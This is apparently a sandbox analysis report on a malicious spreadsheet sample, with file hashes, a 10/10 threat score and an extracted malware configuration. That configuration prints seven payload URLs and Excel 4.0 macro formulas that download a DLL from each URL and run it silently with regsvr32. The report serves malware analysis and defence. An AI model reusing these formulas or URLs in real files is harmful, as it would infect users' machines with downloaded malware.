General
-
Target
444e351d8e9d670d38aaeb9644c3d6e91f9e4ef89160c96ebe9bcb88e17ef71c
-
Size
73KB
-
Sample
241120-f61d8ssgjl
-
MD5
9565a310e8808b52915bc044f5bb95fe
-
SHA1
4645ba4e82138af074f49f40efe0a3c5d53d8bd3
-
SHA256
444e351d8e9d670d38aaeb9644c3d6e91f9e4ef89160c96ebe9bcb88e17ef71c
-
SHA512
093e06af23917ffc897bd757bf9d79c6a2794d2fff9ee2e79c7cc379dda538595a6f2c65aafb9e71a604a4d44fd8bc2d163b753906f0667fb5346d4fc293d63b
-
SSDEEP
1536:mLgT1WiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV6BD:B1WiCtzSmICpH7OZuvZGsM0
Malware Config
Extracted
https://www.ankeoman.com/undercons_files/l88ETG/
http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/
http://atacelikyapi.com/css/SOiiHs8wmjzlWoO/
http://atsyemek.com/test/QaMcxcqLPFHX/
http://atozams.com/app/d24BUaSin4NuT/
http://aureadesign.net/1U3/
http://www.anzizasalema.com/cms/wX6lkpSHjeEPO81/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.ankeoman.com/undercons_files/l88ETG/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atacelikyapi.com/css/SOiiHs8wmjzlWoO/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atsyemek.com/test/QaMcxcqLPFHX/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atozams.com/app/d24BUaSin4NuT/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aureadesign.net/1U3/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.anzizasalema.com/cms/wX6lkpSHjeEPO81/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Extracted
https://www.ankeoman.com/undercons_files/l88ETG/
http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/
Targets
-
-
Target
444e351d8e9d670d38aaeb9644c3d6e91f9e4ef89160c96ebe9bcb88e17ef71c
-
Size
73KB
-
MD5
9565a310e8808b52915bc044f5bb95fe
-
SHA1
4645ba4e82138af074f49f40efe0a3c5d53d8bd3
-
SHA256
444e351d8e9d670d38aaeb9644c3d6e91f9e4ef89160c96ebe9bcb88e17ef71c
-
SHA512
093e06af23917ffc897bd757bf9d79c6a2794d2fff9ee2e79c7cc379dda538595a6f2c65aafb9e71a604a4d44fd8bc2d163b753906f0667fb5346d4fc293d63b
-
SSDEEP
1536:mLgT1WiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV6BD:B1WiCtzSmICpH7OZuvZGsM0
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-